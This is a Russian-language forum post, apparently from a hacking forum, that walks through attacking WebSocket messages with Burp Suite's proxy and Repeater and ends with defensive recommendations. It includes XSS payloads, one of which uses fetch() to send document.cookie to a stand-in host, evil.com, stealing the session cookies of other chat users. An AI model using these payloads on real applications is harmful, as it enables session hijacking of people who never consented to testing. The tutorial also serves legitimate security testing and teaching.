Загрузка...

Пример эксплуатации уязвимости WebSocket (Burp Suite)

Тема в разделе Веб уязвимости создана пользователем доза 27 апр 2025. 180 просмотров

Загрузка...
  1. доза
    доза Автор темы 27 апр 2025 Заблокирован(а) 388 4 июл 2022
    [IMG]
    Что можно найти?


    С помощью Burp Suite можно перехватывать, изменять и повторно отправлять WebSocket-сообщения, чтобы проверить, правильно ли приложение обрабатывает получаемые данные. Это позволяет выявлять такие уязвимости, как:

    SQL-инъекции или XSS через изменённые WebSocket-сообщения.​

    • Ошибки контроля доступа, например, возможность получить данные других пользователей без авторизации.
    • Манипуляции бизнес-логикой путём отправки неожиданных команд.
    • Возможные DoS-атаки путём перегрузки сервера сообщениями или подключениями.


    Пошаговая инструкция по эксплуатации с Burp Suite


    - Перехват трафика WebSocket:
    Запустите приложение с активным ****** Burp Suite. Вкладка Proxy > WebSockets history покажет все обмены сообщениями.

    - Отправка сообщения в Repeater:
    Кликните правой кнопкой на интересующем сообщении (например, чат или запрос данных) и выберите Send to Repeater.

    - Изменение и повторная отправка сообщений:
    Во вкладке Repeater переключитесь на WebSocket tab. Здесь можно редактировать содержимое сообщения. Например, если сообщение в формате JSON, можно вставить XSS-пейлоад:​
    {
    "action": "sendMessage",
    "message": "<script>alert('XSS')</script>"
    }


    -
    Отправка и анализ ответа:
    Нажмите Send, чтобы отправить изменённое сообщение. Проверьте ответ, чтобы понять, выполнился ли пейлоад или приложение отреагировало иначе.

    -
    Манипуляция handshake WebSocket (опционально):
    Можно также клонировать и изменить handshake WebSocket для проверки заголовков или параметров, например, подменить IP через X-Forwarded-For.

    Практический пример: тестирование XSS через WebSocket


    Предположим, приложение использует чат в реальном времени через WebSocket и не проверяет содержимое сообщений. Перехватываем обычное сообщение:​
    {
    "action": "sendMessage",
    "message": "если ты реально прочитал статью напиши мне в лс"
    }
    Изменяем его, чтобы вставить вредоносный скрипт:
    {
    "action": "sendMessage",
    "message": "<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"
    }
    Если приложение не фильтрует входящие данные, этот скрипт выполнится у других пользователей, подключённых к чату.


    Рекомендации по защите


    Валидировать и фильтровать все сообщения, получаемые через WebSocket.​

    • Внедрять строгую аутентификацию и авторизацию для каждой сессии и сообщения.
    • Использовать шифрование (wss://) для защиты передачи данных.
    • Ограничивать количество сообщений и подключений для предотвращения злоупотреблений.
    • Мониторить трафик и подозрительную активность в WebSocket-соединениях.
     
    27 апр 2025 Изменено
  2. KASPAY
    KASPAY 27 апр 2025 657 11 авг 2019
    XSS я знал, но SQL что-то не пойму как выкачать) Врятли кто-то использует прямой обмен с БД :niggawhat: А так статья годная)
     
    27 апр 2025 Изменено
  3. Пингвиниак
    Пингвиниак 27 апр 2025 Я пингвнин, добрый, красивый! 45 15 апр 2025
    Статья годная, даже чего то не знал, пополнил себе информацию.
     
Top